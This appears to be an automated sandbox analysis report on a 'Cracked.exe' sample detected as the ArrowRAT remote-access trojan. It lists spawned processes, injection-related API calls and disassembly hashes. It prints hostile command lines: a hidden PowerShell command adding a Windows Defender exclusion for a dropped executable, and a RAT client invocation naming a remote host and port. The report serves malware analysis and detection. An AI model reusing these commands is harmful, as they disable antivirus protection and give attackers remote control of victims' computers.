Analysis Process: cvtres.exePID: 7332, Parent PID: 5676

General

Target ID:	7
Start time:	22:41:00
Start date:	29/07/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
Imagebase:	0x1170000
File size:	43'176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_ArrowRAT, Description: Yara detected ArrowRAT, Source: 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7360, Parent PID: 7332

General

Target ID:	8
Start time:	22:41:00
Start date:	29/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ComputerDefaults.exePID: 7476, Parent PID: 5676

General

Target ID:	9
Start time:	22:41:01
Start date:	29/07/2023
Path:	C:\Windows\System32\ComputerDefaults.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\ComputerDefaults.exe"
Imagebase:	0x7ff6346d0000
File size:	72'192 bytes
MD5 hash:	1D494543B5C91E0EDD4C7C6C63EE25F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7524, Parent PID: 7476

General

Target ID:	10
Start time:	22:41:02
Start date:	29/07/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'
Imagebase:	0x7ff7026c0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7532, Parent PID: 7524

General

Target ID:	11
Start time:	22:41:02
Start date:	29/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SteamService.exePID: 7908, Parent PID: 7264

General

Target ID:	13
Start time:	22:41:15
Start date:	29/07/2023
Path:	C:\Program Files (x86)\Steam\bin\SteamService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install
Imagebase:	0x1060000
File size:	2'813'352 bytes
MD5 hash:	2DE3F7CF6020B3BB6BC4199459A63016
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7916, Parent PID: 7908

General

Target ID:	14
Start time:	22:41:16
Start date:	29/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Steam.exePID: 8164, Parent PID: 3452

General

Target ID:	17
Start time:	22:41:27
Start date:	29/07/2023
Path:	C:\Program Files (x86)\Steam\Steam.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Steam\steam.exe" -silent
Imagebase:	0xbe0000
File size:	4'279'208 bytes
MD5 hash:	B4411620A3551834E4F699CC5A9B27E6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: Steam.exePID: 7492, Parent PID: 3452

General

Target ID:	18
Start time:	22:41:36
Start date:	29/07/2023
Path:	C:\Program Files (x86)\Steam\Steam.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Steam\steam.exe"
Imagebase:	0xbe0000
File size:	4'279'208 bytes
MD5 hash:	B4411620A3551834E4F699CC5A9B27E6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Cracked.exePID: 3360, Parent PID: 3452COMMON

Executed Functions

Function 00007FFBAC190088 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4a535e2979fd897d580bae075efbefb5706426eb1e072d51ef34b403fd9145
Instruction ID: f6c8bffe62a34febbb00606506ff186e0bec0f29b2419a94ca0f964ccdf66ee8
Opcode Fuzzy Hash: 7a4a535e2979fd897d580bae075efbefb5706426eb1e072d51ef34b403fd9145
Instruction Fuzzy Hash: A2F06262A0E2A55FD713A779D85A5E63F34AF07354B0900FBE44DCB1A3C908A95AC372

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC19077D Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ec3b47f83b1d92b951a34eda8cacd2eae358ebcdaa82b4ce8342526e32c5ed
Instruction ID: e460bbfd6544145493a444bea087de630fc84e35b72c5b2169cfbf6e6920ea1b
Opcode Fuzzy Hash: 46ec3b47f83b1d92b951a34eda8cacd2eae358ebcdaa82b4ce8342526e32c5ed
Instruction Fuzzy Hash: 86517DB1B19D594FEB99E76CD459BAC77E2FF99310F040179E40DC3292DE28AC428781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC190078 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf44b69c4ad332cfb92914378353a5331ba90496e11d69cea802c10754682b03
Instruction ID: faa69ad37cac4823ad29c0c70ae9dc8fd462f6146aa52feff2bd846d81f84eb0
Opcode Fuzzy Hash: bf44b69c4ad332cfb92914378353a5331ba90496e11d69cea802c10754682b03
Instruction Fuzzy Hash: 35515C71B18D5D9FEB99E76CD459BAC77E2FF99310F040179E40EC3292DE28A8428781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC19000B Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd8906109ae686a6bd47a6e459fa6b2ea763f3ee2c812084a561646b90d74b19
Instruction ID: dd6cf3e52684fc3cba6e9da8a8554872b31f96860dc0d3a2b0f502f1d33d6d01
Opcode Fuzzy Hash: dd8906109ae686a6bd47a6e459fa6b2ea763f3ee2c812084a561646b90d74b19
Instruction Fuzzy Hash: F21187D2A0F3C68FE36346B49C792643FB09E27685B1E00E7C4C8CA0E3E4099819C366

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC190739 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7234f51ab85837bf4f6a9adf47cf3665be371e81f0be795dd080f5ae7f7860e0
Instruction ID: a8240b676da2fdeca859468a921482ae08598bc9f85565680c1e5e6a36514a9e
Opcode Fuzzy Hash: 7234f51ab85837bf4f6a9adf47cf3665be371e81f0be795dd080f5ae7f7860e0
Instruction Fuzzy Hash: A5E0EDA2B0CC0E0FDB85F27C9415BA82BD1EB8C26070401B2E40DC3292DC18EC41C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC190740 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376498824.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffbac190000_Cracked.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99347074971b12e49b4c2c0daef97832051b8820d0a63cc673571f1bb32f3fc9
Instruction ID: b365fae2bd274e93a9abd572d69285a55f1f5ea075468fb45bbf1e4f098e3c67
Opcode Fuzzy Hash: 99347074971b12e49b4c2c0daef97832051b8820d0a63cc673571f1bb32f3fc9
Instruction Fuzzy Hash: 6CE04F62B58C1D1F9A94F23C9449FA962D1EB9C36075505B6E40DC3256DD18DC81C7D0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 1164, Parent PID: 3360COMMON

Executed Functions

Function 00007FFBAC253CC0 Relevance: 2.4, Strings: 1, Instructions: 1181COMMON

Download Yara Rule

Strings

S_L, xrefs: 00007FFBAC253E74

Memory Dump Source

Source File: 00000001.00000002.480132899.00007FFBAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac250000_powershell.jbxd

Similarity

API ID:
String ID: S_L
API String ID: 0-132963775
Opcode ID: 9ab44496213d99b1c1f7faad24e900c56a5710228a67203970d2baeb947d2210
Instruction ID: ac3464c1a7b672739baa23a8d1bddba6480f4cf5b5239f812f3b046f668ad978
Opcode Fuzzy Hash: 9ab44496213d99b1c1f7faad24e900c56a5710228a67203970d2baeb947d2210
Instruction Fuzzy Hash: CE7227A2A0E7894FE7A7A63C88591B57BE1EF56320B0901FBD449C72A7DD1CDC06C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1862D5 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3439b04a16e8ad8e5a50eb18923c6dc2ca190915e2c9fb39fa90edd44cfdd09
Instruction ID: 8d167f469ca95aedc403030bab43c1889c7029915db4cbf647cad30b48558ca5
Opcode Fuzzy Hash: a3439b04a16e8ad8e5a50eb18923c6dc2ca190915e2c9fb39fa90edd44cfdd09
Instruction Fuzzy Hash: E931C57191CB488FDB19DB5CD80A6A97BE0FBA9321F04426FE449C3252DA74A855CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC186BFC Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a84bd2452211d77c24573b5bed2840f265f04b8e54fc41c2bae88a6970a3f2c
Instruction ID: 5041ec7bc0105c3f848e9d2aa06ff925dd7e11d0a45c5c89ec8f8c24b43d7bf9
Opcode Fuzzy Hash: 8a84bd2452211d77c24573b5bed2840f265f04b8e54fc41c2bae88a6970a3f2c
Instruction Fuzzy Hash: 0D21287190CB4C4FDB59DFAC984A7E97FE0EB96321F04416FD449C3162CA74A41ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC2540CF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.480132899.00007FFBAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ebb8c538a22eaee0b4d0d0ed6f43c02a1f781b40092be25fa8e55ee5a9b5fc
Instruction ID: 4b058c70a969a7a009d2084e22446fa1ef72f8f5b2523ee102a5556790c5d6fb
Opcode Fuzzy Hash: b1ebb8c538a22eaee0b4d0d0ed6f43c02a1f781b40092be25fa8e55ee5a9b5fc
Instruction Fuzzy Hash: 402134E2A4EB4B4FF7AAE62CC458276A2D1EF54320B5840B9C90EC72EACD1CDC018645

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC2543BC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.480132899.00007FFBAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd81742aac0f1cbc67532a05567012994bb34b914364625a02e063370676c57
Instruction ID: c3948da3d4ef5a65ee4cff3276b57424f7e2a35d136b6c34b08960e3c897e736
Opcode Fuzzy Hash: 5bd81742aac0f1cbc67532a05567012994bb34b914364625a02e063370676c57
Instruction Fuzzy Hash: DD1106B2E4E6995FE7A6E62CD4586B9B7D0EF40320B5800BAC84EC72A7CD0CEC048351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC256803 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.480132899.00007FFBAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f43354e3a01aca35390a08058d46491d2d4ab9624a42631158836b26064b04
Instruction ID: 2c14cba26860565a1f9d2de9a670badee66ad511fcb25b9d8fcfa92404228f0d
Opcode Fuzzy Hash: 85f43354e3a01aca35390a08058d46491d2d4ab9624a42631158836b26064b04
Instruction Fuzzy Hash: 0B11E7B1A0EB8D8FEB85EB68C4481B877A1EF05311B1800FEC80DC7297CA29DC09C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC187438 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5aa07912a3fbb90e3bd721407658719fd2f0c4915c4efd5993a41b9e5521a04
Instruction ID: dbb41fb2983d48ef8f3208a98986aeb37f04757aa6cad0fbd956dbebd7154a07
Opcode Fuzzy Hash: a5aa07912a3fbb90e3bd721407658719fd2f0c4915c4efd5993a41b9e5521a04
Instruction Fuzzy Hash: 0C01447131CA088FE78CEA1CD496AB573E1EB95324B50016ED44BC76A7DE27E843C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC181355 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0cff6f0e817eaf95abd3163f78c11bf9e4f6992de78abb45a49043693fe6870
Instruction ID: 4fce90f172ec4e3148864a5411ad6822e0f4b1cfe07bdc5a6e29a1fa57effdc3
Opcode Fuzzy Hash: d0cff6f0e817eaf95abd3163f78c11bf9e4f6992de78abb45a49043693fe6870
Instruction Fuzzy Hash: 5601677111CB0C4FD744EF0CE455AA6B7E0FB95324F10056DE58AC3661DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC186858 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631dfb32f9bcdfaf01ac1f7e9975983582ecc763e7fe30504cf0d1eaab23dd27
Instruction ID: 4b90c8d064951e1bec8c55fbbe0e6109932ec319aad75ed496cf873a07c9e7f6
Opcode Fuzzy Hash: 631dfb32f9bcdfaf01ac1f7e9975983582ecc763e7fe30504cf0d1eaab23dd27
Instruction Fuzzy Hash: BCF0F6B580C68D4FDB079F28885A4D57FA0EF17210F05029BE448C70A2DB749858CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC188994 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea4657636de8b72c2e5f264b5ca037e4d1c3cec1c064de8f80de6df83937a71
Instruction ID: 7b7c59a66b177d08af90924c23fed71811fe6b5eddd28524a3ec865c4deaccfa
Opcode Fuzzy Hash: 7ea4657636de8b72c2e5f264b5ca037e4d1c3cec1c064de8f80de6df83937a71
Instruction Fuzzy Hash: 7CF0303275C6084FDB4CEA1CF8429B573D1E799324B00016EE48BC2656D926E8438685

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1889D8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05019c8001985c0f7ad4047b08522418feafd8a1a5bae57d02102647288fb27
Instruction ID: ed17c8c6b01126aea9fa6ad69b8bfb0ccb0bfb05c1865da335b661e290def021
Opcode Fuzzy Hash: b05019c8001985c0f7ad4047b08522418feafd8a1a5bae57d02102647288fb27
Instruction Fuzzy Hash: 7FF0303275C6098FDB4CAA1CF8429B573D1EB99320B00016EE48FC2696D927E8428786

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFBAC186F83 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.479633228.00007FFBAC180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffbac180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60730c168362fd9869782b64a62fb3348ba70a359597ae9002282ae69cc5a196
Instruction ID: c46f98ae61355910451b8991ccce110753c74469bf4400c3402521e14a81b8a2
Opcode Fuzzy Hash: 60730c168362fd9869782b64a62fb3348ba70a359597ae9002282ae69cc5a196
Instruction Fuzzy Hash: EB31E9ABB0D2A64AE613A63DF4B50E57F90FF8133671400B7D1C5C91A3ED24A95F82B4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Client.exePID: 5676, Parent PID: 3360COMMON

Execution Graph

Execution Coverage:	37.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	12.5%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFBAC1A3315 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopW.USER32 ref: 00007FFBAC1A340A

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: CreateDesktop
String ID:
API String ID: 3054513912-0
Opcode ID: 0892ec5f36f3b4f998e7a89bbf295a594a0b110bf88fdf5280570fbc4f5c810b
Instruction ID: 914991ceb37839ebda6a697f7281b8cb81923b401f1b6447b0b9b5d7bf77dca6
Opcode Fuzzy Hash: 0892ec5f36f3b4f998e7a89bbf295a594a0b110bf88fdf5280570fbc4f5c810b
Instruction Fuzzy Hash: 3B41817190CB5C8FDB55DF68D8496A9BBF0FB69311F10426FE08DD3252CA70A846CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A2C14 Relevance: 1.9, APIs: 1, Instructions: 436
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFBAC1A2FAC

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d48cd6410b16827b39dbfff94ea8d272ed5b3c6e97fe163a02aea2ff6630ec99
Instruction ID: dca2277cc402f00b7ba7ee0b6143d52b4971b20cb2349e8052ba9ef65099df0a
Opcode Fuzzy Hash: d48cd6410b16827b39dbfff94ea8d272ed5b3c6e97fe163a02aea2ff6630ec99
Instruction Fuzzy Hash: ACD1A671518A8D4FEB69DF28CC597E977D1FF59310F00422ADC4EC7291DE78A9418B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A24B4 Relevance: 1.6, APIs: 1, Instructions: 145
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFBAC1A25A5

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6b242d9c00bf82e41854ef9b9cc065ab404f90237f98f7003186e6941caed7a5
Instruction ID: d5fd8e1061ec684141a5b383340d576216fbac71735ec525d6ad1a82936521f9
Opcode Fuzzy Hash: 6b242d9c00bf82e41854ef9b9cc065ab404f90237f98f7003186e6941caed7a5
Instruction Fuzzy Hash: 0941D57190CB1C8FDB19DFA898056F97BE0FB95311F00426FD44DD3292DA74A846CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A25F1 Relevance: 1.6, APIs: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE ref: 00007FFBAC1A26DA

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6f3860237dc1db140bf1f15d834a211db84ee805ef855af4e7b4741c2b5d6f18
Instruction ID: 3b123730dfe2f40d67c047c2ed45ddf1035322247ab778538d8d25d9c2d7dfd9
Opcode Fuzzy Hash: 6f3860237dc1db140bf1f15d834a211db84ee805ef855af4e7b4741c2b5d6f18
Instruction Fuzzy Hash: 6741B17190CB588FDB19DF5898456FD7BE0EF99321F00426FE489D3292CA74A846CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A1288 Relevance: 1.6, APIs: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFBAC1A1351

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: b6d699ebc3f7284a2e02fb783cb4f08338e287afda2da9d328ce4660e50b59b2
Instruction ID: 568978b9d9fc6c03b2412198a37be2e4e879ca16e40b5bfea8c539d58828bb57
Opcode Fuzzy Hash: b6d699ebc3f7284a2e02fb783cb4f08338e287afda2da9d328ce4660e50b59b2
Instruction Fuzzy Hash: 5731E370A1CA5C8FDB19DB6CD84A6F9BBE1EF59321F10427ED049C3292CA64A852C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A23B0 Relevance: 1.6, APIs: 1, Instructions: 125
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 00007FFBAC1A2473

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fc71f7f4bd2375afdfebc1b97873efb90982f9df979ae4dfd0eaf9e1bbfe0a86
Instruction ID: 45ac9b18d77eeaa22394f1e90fdd758e8104250e0d84d7704881564ffc1e9157
Opcode Fuzzy Hash: fc71f7f4bd2375afdfebc1b97873efb90982f9df979ae4dfd0eaf9e1bbfe0a86
Instruction Fuzzy Hash: FB310871A1CA4C8FDB19AB6898066F97BE0EF55321F00436ED04AC3252DA74A856CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A22A8 Relevance: 1.6, APIs: 1, Instructions: 124
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 00007FFBAC1A2364

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e44b3748e1c1dee96d7f14c22dd832ee3af2484eafcc54e65c6345aa7748a758
Instruction ID: b774b5add35ace7aa370eff010383d91e073979ecc43c23f3cc7e3b27c6a4296
Opcode Fuzzy Hash: e44b3748e1c1dee96d7f14c22dd832ee3af2484eafcc54e65c6345aa7748a758
Instruction Fuzzy Hash: 5E310671D0CA588FDB29DFA898496FA7BE1EF55321F04423FD04ED3292DB74A4068791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1A21AD Relevance: 1.6, APIs: 1, Instructions: 114
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFBAC1A2267

Memory Dump Source

Source File: 00000003.00000002.625605702.00007FFBAC1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbac1a0000_Client.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7a729c3368f34a7987dff8448a4b1623432e09bcdf0e00fa4033a932f7251346
Instruction ID: bde2459c1c1fb4cd81a6974a2f4d51aaf0a574e3eea426f5e2f81b7731e16826
Opcode Fuzzy Hash: 7a729c3368f34a7987dff8448a4b1623432e09bcdf0e00fa4033a932f7251346
Instruction Fuzzy Hash: 9131E67090C6888FDB5ADF7898457A97FB0EF57321F0442AFC449C72A3DA78A446CB61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SteamSetup.exePID: 7264, Parent PID: 3360COMMON

